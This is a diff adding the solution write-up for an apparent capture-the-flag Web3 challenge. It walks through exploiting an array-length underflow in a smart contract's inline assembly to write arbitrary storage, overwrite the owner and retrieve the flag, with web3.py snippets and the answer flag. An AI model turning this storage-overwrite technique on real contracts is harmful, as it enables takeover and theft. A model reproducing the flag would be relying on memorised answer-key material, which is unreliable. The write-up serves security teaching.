file mode 100644 index 0000000..30cfffa --- /dev/null +++ b/Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md @@ -0,0 +1,85 @@ +# TACHIBANA_FIRMWARE_REGISTRY — Solution + +**Difficulty:** Insane | **Category:** Web3 | **Flag:** `ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}` + +## Overview + +Smart contract challenge. The contract has a `_trimStaleEntries()` function that +uses raw assembly to decrement `firmwareHashes.length`. When the array is **empty** +(length=0), the assembly `sub(len, 1)` wraps to `2^256-1` — granting write access +to all `2^256` storage slots via `modifyFirmware()`. + +## Architecture + +- Port 1337/tcp: console (commands: `info`, `abi`, `check`) +- Port 8545/tcp: Ethereum JSON-RPC node + +## Step 1 — Register as operator + +```python +contract.functions.registerOperator() +``` + +Verify `firmwareHashes.length == 0` (array is empty — prerequisite for the underflow). + +## Step 2 — Trigger the underflow + +```python +contract.functions.auditFirmware() +# Internally: assembly { sstore(slot, sub(len, 1)) } +# With len=0 → new length = 2^256 - 1 +``` + +## Step 3 — Compute the target storage index + +Solidity dynamic arrays store elements at `keccak256(abi.encode(slot)) + index`. +`firmwareHashes` is at slot 2. To write to slot 0 (owner): + +```python +from web3 import Web3 + +array_base = int.from_bytes(Web3.keccak(b'\x00' * 31 + b'\x02'), "big") +# base + target_index ≡ 0 (mod 2^256) +target_index = (2**256) - array_base +``` + +## Step 4 — Overwrite the owner + +```python +player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(player.address[2:]) +contract.functions.modifyFirmware(target_index, player_as_bytes32) +# slot 0 now contains our address → we are the new owner +``` + +## Step 5 — Trigger emergency override as new owner + +```python +contract.functions.triggerEmergency() +``` + +## Step 6 — Get the flag + +```text +check +``` + +## Automated Solver + +```bash +python3 solve.py <host> +``` + +## Key Concepts + +- **EVM unchecked arithmetic in assembly**: `sub(0, 1)` wraps to `2^256-1` even in Solidity ≥0.8 when using raw `assembly {}` +- **Dynamic array storage layout**: Elements stored at `keccak256(slot) + index`, enabling arbitrary storage writes via overflow +- **Fuzzing invariants**: A custom property `owner == deployer` would have caught this immediately +- **Storage slot arithmetic**: Computing wraparound index requires modular arithmetic over GF(2^256) + +## Flag + +`ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}` + +## Author + +Eun0us